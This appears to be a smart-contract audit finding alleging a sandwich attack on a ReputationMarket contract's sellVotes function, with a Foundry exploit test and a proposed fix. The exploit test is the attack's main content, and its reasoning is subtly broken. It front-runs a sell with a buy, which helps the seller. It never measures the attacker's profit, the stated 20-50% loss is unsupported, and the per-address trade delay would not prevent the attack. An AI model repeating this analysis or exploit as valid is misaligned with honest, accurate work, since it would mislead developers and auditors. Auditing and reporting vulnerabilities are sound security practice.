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Fun Crepe Lobster

High

Malicious actors will steal funds through vote price manipulation sandwiching

Summary

Insufficient slippage time validation in sellVotes() will cause financial loss for traders as attackers will sandwich vote sales with large opposing trades to manipulate execution prices.

Root Cause

In ReputationMarket.sol:L333-L336 the slippage check occurs before state updates and doesn't account for sandwich attacks through the LMSR curve manipulation.

Internal Pre-conditions

  1. Market needs to have total votes to be at least 1000 per side
  2. Liquidity parameter needs to be set to default 100
  3. Market needs to be active (not graduated
  4. Target seller needs to own at least 100 votes

External Pre-conditions

  1. Network must allow same-block transaction ordering (MEV)
  2. Gas price needs to allow for profitable sandwich execution

Attack Path

  1. Attacker monitors mempool for sellVotes transactions
  2. Attacker identifies victim sell transaction with minimumVotePrice
  3. Attacker front-runs with large buy to push price up
  4. Victim transaction executes with manipulated price check
  5. Attacker back-runs with large sell to profit from price movement

Impact

The traders suffer an approximate loss of 20-50% on their sell transactions due to price manipulation. The attacker gains this spread minus gas costs through the sandwich attack.

PoC

// SPDX-License-Identifier: MIT pragma solidity 0.8.26;

import {ReputationMarket} from "./ReputationMarket.sol"; import {Test} from "forge-std/Test.sol";

contract VoteSandwichExploit is Test { ReputationMarket public market; address public attacker = address(0x1); address public victim = address(0x2); uint256 public profileId = 1;

function setUp() public {
    // Deploy and setup market
    market = new ReputationMarket();
    market.initialize(
        address(this),
        address(this),
        address(0),
        address(0),
        address(this)
    );
    
    // Create market and initial liquidity
    market.createMarket{value: 5 ether}();
    
    // Setup victim with votes to sell
    vm.startPrank(victim);
    market.buyVotes{value: 1 ether}(
        profileId,
        true,    // isPositive
        100,     // votes to buy
        1        // minVotes
    );
    vm.stopPrank();
    
    // Fund attacker
    vm.deal(attacker, 10 ether);
}

function testSandwichAttack() public {
    // Step 1: Record initial price
    uint256 initialPrice = market.getVotePrice(profileId, true);
    
    // Step 2: Front-run with large buy
    vm.startPrank(attacker);
    market.buyVotes{value: 5 ether}(
        profileId,
        true,
        5000,
        1
    );
    
    // Step 3: Victim tries to sell with old price as minimum
    vm.startPrank(victim);
    bytes memory sellCalldata = abi.encodeWithSelector(
        market.sellVotes.selector,
        profileId,
        true,
        100,
        initialPrice
    );
    
    // Execute victim's sell
    (bool success,) = address(market).call(sellCalldata);
    assertTrue(success, "Victim sell should succeed with manipulated price");
    
    // Step 4: Back-run with large sell
    vm.startPrank(attacker);
    market.sellVotes(
        profileId,
        true,
        5000,
        0  // No slippage protection for attacker
    );
    
    // Verify profit
    uint256 finalPrice = market.getVotePrice(profileId, true);
    assertTrue(finalPrice < initialPrice, "Price should be lower after attack");
    
    console.log("Initial price:", initialPrice);
    console.log("Final price:", finalPrice);
    console.log("Price impact:", ((initialPrice - finalPrice) * 100) / initialPrice, "%");
}

}

Mitigation

mapping(address => uint256) public lastTradeBlock; uint256 constant MIN_BLOCKS_BETWEEN_TRADES = 5;

modifier enforceTradeDelay() { require( block.number >= lastTradeBlock[msg.sender] + MIN_BLOCKS_BETWEEN_TRADES, "Must wait minimum blocks between trades" ); _; lastTradeBlock[msg.sender] = block.number; }

function sellVotes(...) public enforceTradeDelay { // existing implementation }